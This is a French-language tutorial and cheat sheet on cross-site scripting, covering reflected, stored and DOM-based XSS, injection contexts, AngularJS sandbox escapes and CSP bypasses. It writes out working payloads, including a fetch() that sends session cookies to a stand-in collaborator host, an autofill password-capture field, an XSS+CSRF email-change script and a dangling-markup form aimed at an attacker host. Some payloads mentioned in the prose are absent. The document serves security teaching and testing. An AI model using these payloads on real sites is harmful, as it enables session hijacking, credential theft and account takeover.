Cross-site scripting (XSS)¶
Le cross-site scripting (XSS) est une vulnérabilité qui permet à un attaquant de compromettre les interactions entre une application et ses utilisateurs. Concrètement, on amène le site vulnérable à renvoyer du code JavaScript malveillant qui s'exécute ensuite dans le navigateur de la victime. Ce code s'exécutant dans le contexte du site légitime, il contourne la politique de même origine (same-origin policy) qui est censée isoler les sites les uns des autres.
L'impact est direct : l'attaquant peut agir au nom de la victime et accéder à ses données. Si la victime dispose de droits étendus — un compte d'administration, par exemple — l'attaquant peut alors prendre le contrôle de l'ensemble des fonctionnalités de l'application.
On distingue trois grandes catégories de XSS selon la façon dont le code malveillant atteint le navigateur.
XSS réfléchi¶
Le XSS réfléchi (reflected XSS) survient lorsqu'une application reçoit une donnée dans une requête HTTP et l'inclut immédiatement dans la réponse, sans l'assainir. Prenons une fonction de recherche :
dont le résultat s'affiche tel quel dans la page :
Le contenu placé à la place de cadeau est reflété dans la page et s'exécute dans le contexte de l'utilisateur qui émet la requête. Une charge utile classique vise à exfiltrer le cookie de session vers un système contrôlé par l'attaquant :
Le payload doit en général être encodé en URL pour transiter correctement. Comme il faut amener la victime à émettre la requête piégée, le XSS réfléchi se livre habituellement par un lien malveillant.
XSS stocké¶
Le XSS stocké (stored XSS, ou XSS persistant) survient lorsqu'une application enregistre une donnée issue d'une source non fiable et l'inclut plus tard dans des réponses, toujours sans l'assainir. C'est le cas typique d'un site qui permet de publier des commentaires visibles par les autres utilisateurs :
POST /post/comment HTTP/1.1
Host: site-vulnerable.example
Content-Type: application/x-www-form-urlencoded
postId=3&comment=Article+très+utile.&name=Visiteur&email=visiteur%40exemple.net
En remplaçant le contenu du commentaire par du code script, celui-ci s'exécutera dans le navigateur de chaque utilisateur qui consultera la page. Le XSS stocké est d'autant plus dangereux qu'il ne nécessite aucune interaction particulière : toute personne affichant la page touchée est affectée.
XSS basé sur le DOM¶
Le XSS basé sur le DOM survient lorsque du code JavaScript côté client prend une donnée contrôlable par l'attaquant — le plus souvent l'URL, accessible via window.location — et la transmet à un sink qui exécute du code dynamiquement, comme eval() ou innerHTML. La faille ne réside donc pas dans la réponse du serveur mais dans le traitement de la donnée par le navigateur lui-même.
Il faut placer le code dans une source (l'URL, par exemple) et s'assurer qu'elle est propagée jusqu'à un sink exécutable. Sur les navigateurs récents, innerHTML n'exécute plus les éléments <script> ni <svg onload> ; on se rabat alors sur d'autres éléments comme <img> ou <iframe> associés à un gestionnaire d'événement :
Considérons un code qui réinjecte un paramètre d'URL dans un attribut href via jQuery :
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnUrl'));
});
On peut alors exploiter le paramètre returnUrl avec un pseudo-protocole javascript:, qui s'exécutera au clic sur le lien :
Une <iframe> permet par ailleurs de déclencher un événement hashchange sans interaction de la victime : au chargement, le fragment est vide, puis l'attribut onload le modifie, ce qui déclenche le gestionnaire vulnérable :
<iframe src="https://site-vulnerable.example#" onload="this.src+='<img src=1 onerror=alert(1)>'" hidden></iframe>
Contextes d'injection¶
L'exploitation dépend entièrement de l'endroit où la donnée est reflétée dans la page. Identifier ce contexte est la clé pour construire un payload qui s'exécute.
Entre des balises¶
Lorsque la donnée apparaît entre deux balises, on peut introduire un nouvel élément doté d'un gestionnaire d'événement. Les chevrons étant souvent autorisés ici, un élément <svg> avec une animation est efficace :
Pour déterminer quels éléments et attributs passent les filtres, Burp Intruder couplé à une liste de payloads est l'outil adapté. Quand les attributs d'événement et les href sont bloqués, l'élément <animate> permet de façon plus avancée d'ajouter dynamiquement l'attribut voulu à une balise :
<svg><a><animate attributename="href" values="javascript:alert(1)" /><text x=20 y=20>Cliquez</text></a></svg>
À l'intérieur d'une balise¶
Quand la donnée est injectée dans un attribut, l'objectif est de sortir de cet attribut pour créer un contexte exécutable. Si l'on parvient à fermer l'attribut, on en ouvre un nouveau de type gestionnaire d'événement :
Si l'on se trouve déjà dans un attribut qui accepte du code, il suffit d'y rester et d'en connaître la syntaxe :
À l'intérieur de JavaScript¶
Lorsque la donnée est reflétée dans un script, le cas le plus simple consiste à fermer la balise <script> :
Si l'on est à l'intérieur d'une chaîne de caractères, on en sort en refermant le délimiteur, tout en veillant à ne pas casser la syntaxe du reste du script — une erreur de syntaxe empêcherait l'exécution :
Plusieurs subtilités utiles existent dans ce contexte. Pour contourner un filtre qui interdit les parenthèses, l'équivalence suivante évite de les utiliser :
Si l'application échappe ou bloque les guillemets, on peut parfois s'en sortir grâce au fait que le navigateur décode les entités HTML après avoir analysé les balises et attributs. Dans un attribut comme onclick, l'entité ' est décodée en apostrophe au moment de l'exécution, ce qui permet de s'échapper d'une chaîne :
Enfin, lorsque la chaîne est délimitée par des accents graves (template literal), on peut injecter une expression ${...} qui sera évaluée, à la manière d'une f-string :
Template injection côté client (AngularJS)¶
Ce type de XSS est particulièrement répandu dans le framework AngularJS, surtout en version 1.6 et antérieures. Lorsqu'une donnée se retrouve dans une portée gérée par AngularJS (un attribut ng-app), la syntaxe {{...}} permet d'évaluer une expression :
Sur ces versions anciennes, des techniques d'évasion du bac à sable (sandbox escape) AngularJS existent, y compris en présence d'une politique de sécurité de contenu (CSP) restrictive. Elles reposent sur la redéfinition de méthodes internes (comme charAt) ou l'usage de filtres comme orderBy pour exécuter du code arbitraire — des constructions complexes mais bien documentées pour ces versions précises.
Exploiter une faille XSS¶
alert() sert à démontrer la présence de la faille, mais une démonstration de risque réel demande d'aller plus loin. Le scénario le plus courant consiste à exfiltrer le cookie de session pour usurper l'identité de la victime :
<script>fetch('https://collaborateur.example', {method:'POST', mode:'no-cors', body:document.cookie});</script>
On peut aussi abuser de l'autocomplétion des navigateurs pour capturer des identifiants : un champ de mot de passe injecté et pré-rempli automatiquement déclenche l'envoi de sa valeur :
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://collaborateur.example',{method:'POST',mode:'no-cors',body:username.value+':'+this.value});">
Une autre approche combine XSS et CSRF : depuis le contexte de la victime, on récupère d'abord son jeton anti-CSRF présent dans une page, puis on émet une requête sensible en l'utilisant :
<script>
var req = new XMLHttpRequest();
req.onload = function() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var change = new XMLHttpRequest();
change.open('post', '/my-account/change-email', true);
change.send('csrf=' + token + '&email=attaquant@exemple.net');
};
req.open('get', '/my-account', true);
req.send();
</script>
Content Security Policy (CSP)¶
La politique de sécurité de contenu est un mécanisme de défense qui restreint les ressources qu'une page peut charger ou exécuter, et constitue une protection majeure contre le XSS. Une CSP bloque couramment les éléments <script>, mais autorise souvent les requêtes d'images — ce qui ouvre la voie à certaines techniques de contournement.
Attaque par balisage suspendu (dangling markup)¶
Quand une CSP stricte empêche l'exécution de script, l'attaque par balisage suspendu (dangling markup) permet de voler le contenu d'une page sans aucun script, en s'appuyant sur une ressource comme une image pour exfiltrer la donnée. L'idée est d'injecter une balise dont un attribut reste « ouvert » : tout le HTML qui suit, jusqu'au prochain guillemet, est alors envoyé au serveur de l'attaquant. À partir d'une injection comme :
on insère une balise image dont l'attribut src n'est pas refermé :
Le contenu situé entre l'injection et le guillemet suivant part alors vers le serveur contrôlé. Une variante consiste à injecter un formulaire pointant vers le serveur de l'attaquant et à rester dans le formulaire déjà présent au point d'injection, afin de capturer les champs sensibles soumis :
"></form><form action="https://attaquant.example" method="POST"><button type="submit">Cliquez</button>
Contournement via réflexion dans l'en-tête CSP¶
Si une valeur contrôlable est reflétée dans l'en-tête Content-Security-Policy lui-même, on peut parfois y injecter une directive permissive (script-src-elem 'unsafe-inline') qui réautorise l'exécution des scripts injectés ailleurs dans la page :
Là encore, un encodage d'URL préalable peut être nécessaire pour que l'injection aboutisse.
Aide-mémoire¶
| Contexte d'injection | Approche |
|---|---|
| Entre des balises | Nouvel élément avec gestionnaire (<svg><animate onbegin=...>) |
| Dans un attribut | Fermer l'attribut, ouvrir un onfocus / onerror |
| Dans une chaîne JS | Refermer le délimiteur, réparer la syntaxe |
| Parenthèses interdites | onerror=alert;throw 1 |
| Guillemets échappés | Entités HTML décodées à l'exécution (') |
| AngularJS (≤ 1.6) | Expression {{...}}, évasion de sandbox |
| CSP stricte | Balisage suspendu (exfiltration via image/formulaire) |
| Démonstration d'impact | Vol de cookie, capture d'identifiants, XSS + CSRF |
Pour la liste complète des vecteurs par élément et attribut, l'aide-mémoire XSS de référence de PortSwigger et la documentation MDN sur les balises et attributs HTML sont les ressources à consulter.